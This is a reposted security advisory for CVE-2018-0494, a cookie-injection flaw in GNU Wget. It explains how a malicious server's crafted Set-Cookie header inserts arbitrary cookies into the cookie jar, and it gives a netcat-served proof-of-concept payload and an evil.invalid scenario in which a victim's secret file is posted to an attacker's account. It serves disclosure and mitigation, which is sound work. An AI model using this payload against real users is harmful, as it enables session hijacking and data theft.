扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 |
GNU Wget Cookie Injection [CVE-2018-0494] ========================================= The latest version of this advisory is available at: https://sintonen.fi/advisories/gnu-wget-cookie-injection.txt Overview -------- GNU Wget is susceptible to a malicious web server injecting arbitrary cookies to the cookie jar file. Description ----------- Normally a website should not be able to set cookies for other domains. Due to insufficient input validation GNU Wget can be tricked into storing arbitrary cookie values to the cookie jar file, bypassing this security restriction. Impact ------ An external attacker is able to inject arbitrary cookie values cookie jar file, adding new or replacing existing cookie values. Details ------- The discovered vulnerability, described in more detail below, enables the attack described here in brief. 1. The attacker controlled web site sends a specially crafted Set-Cookie -header to inject a new authentication cookie for example.com, replacing the existing one. In order to be successful the victim must perform a wget operation on the attacker controller site, for example: wget --load-cookies jar.txt --save-cookies jar.txt https://evil.invalid 2. Victim uses wget to post some secret the the api.example.com: wget --load-cookies jar.txt --post-file secret.txt https://example.com/upload Since the attacker was able to replace the authentication cookie for example.com, the secret.txt data will be posted to attacker's account instead to that of the victim. Vulnerabilities --------------- 1. CWE-20: Improper Input Validation in Set-Cookie parsing [CVE-2018-0494] The cookie parsing implementation does too lax input validation when parsing the Set-Cookie response from the server. Consider the following malicious response: HTTP/1.1 200 OK Content-Length: 0 Set-Cookie: foo="bar .google.comTRUE/ FALSE 1900000000injectedcookie ";expires=Thursday, 01-Jan-2032 08:00:00 GMT When parsed by Wget and stored to a cookie jar file it will appear as: # HTTP cookie file. # Generated by Wget on 2018-04-27 23:28:21. # Edit at your own risk. 127.0.0.1:7777FALSE / FALSE 1956556800foo "bar .google.comTRUE/ FALSE 1900000000injectedcookie " Since the Wget cookie jar parser skips any leading spaces, the .google.com line will be picked up. Note: The order in which the hosts/domains are stored in the cookie jar is derived from the hashing function used to speed up the lookups. If an existing cookie is to be replaced the server hostname used to serve the Set-Cookie will need to be carefully chosen to result in hash entry below the targeted domain. If not done, the original cookie will be used instead of the injected one. Proof of Concept ---------------- 1. Set up a minimal web server, good for 1 request: $ echo -ne 'HTTP/1.1 200 OK\r\nContent-Length: 0\r\nSet-Cookie: foo="bar\r\n\x20.google.com\tTRUE\t/\tFALSE\t1900000000\tinjected\tcookie\r\n\t";expires=Thursday, 01-Jan-2032 08:00:00 GMT\r\n\r\n' | nc -v -l 7777 2. Fetch the evil url: $ wget --save-cookies jar.txt http://127.0.0.1:7777/plop 3. Examine the resulting cookie jar file: $ cat jar.txt Vulnerable versions ------------------- The following GNU Wget versions are confirmed vulnerable: - 1.7 thru 1.19.4 Mitigation ---------- 1. Upgrade to GNU Wget 1.19.5 or later, or to appropriate security updated package in your distribution Credits ------- The vulnerability was discovered by Harry Sintonen / F-Secure Corporation. Timeline -------- 2018.04.26discovered & reported the vulnerability 2018.04.27CVE-2018-0494 assigned 2018.05.06GNU Wget 1.19.5 released with the fix 2018.05.06public disclosure of the advisory |
体验盒子
